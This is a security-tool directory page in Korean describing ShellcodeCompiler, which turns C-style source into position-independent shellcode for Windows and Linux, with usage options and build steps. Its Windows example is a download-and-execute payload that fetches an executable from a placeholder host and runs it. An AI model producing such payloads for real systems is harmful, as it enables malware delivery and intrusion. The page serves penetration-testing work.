Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ShellcodeCompiler — 셸코드 컴파일러 | Kitploit
도구/GitHubGitHub/nytrorst/shellcodecompiler
ExploitationShellcodeShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

셸코드 컴파일러

저장소 보기
1.2k2801년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Shellcode Compiler

Shellcode Compiler는 C/C++ 스타일 코드를 Windows(x86 및 x64) 및 Linux(x86 및 x64)용 작고 위치 독립적이며 NULL이 없는 셸코드로 컴파일하는 프로그램입니다. 사용자 친화적인 방식으로 모든 Windows API 함수 또는 Linux syscall을 호출할 수 있습니다.

Shellcode Compiler는 소스 파일을 입력으로 받아 자체 컴파일러를 사용하여 코드를 해석하고 Keystone 엔진으로 어셈블되는 어셈블리 파일을 생성합니다.

명령줄 옵션

root@kitploit:~
    -h (--help)      : Show this help message
    -p (--platform)  : Shellcode platform: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Print detailed output
    -t (--test)      : Test (execute) generated shellcode
    -r (--read)      : Read source code file
    -o (--output)    : Output file of the generated binary shellcode
    -a (--assembbly) : Output file of the generated assembly code

Windows 예제

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux 예제

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

호출 예제

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

제한 사항

  1. API 호출의 반환 값을 사용할 수 없습니다.
  2. 포인터나 버퍼를 사용할 수 없습니다.
  3. 변수를 선언할 수 없습니다.

그 외에도 여러 다른 제한 사항이 존재합니다. 이것은 알파 버전입니다. 버그나 제안 사항을 보고해 주시기 바랍니다.

변경 로그

  1. Windows x64 초기 지원
  2. Linux(x86 및 x64) 셸코드 초기 지원

Keystone

  1. Keystone Engine 소스 코드를 다운로드합니다.
  2. nmake-lib.sh(Linux용) 및 nmake-lib.bat(Windows용)을 사용하여 Keystone Engine을 정적 라이브러리로 컴파일합니다.
  3. Windows: 생성된 lib 파일을 keystone-src\build\llvm\lib\keystone.lib에서 ShellcodeCompiler\Keystone\keystone_x86.lib(32비트용) 및 keystone_x64.lib(64비트용)로 복사합니다.
  4. Linux: 생성된 lib 파일을 keystone-src\build\llvm\lib\keystone.lib에서 ShellcodeCompiler\Keystone\libkeystone_x86.a(32비트용) 및 libkeystone_x64.a(64비트용)로 복사합니다.

작성자

Ionut Popescu (@NytroRST)

도구 다운로드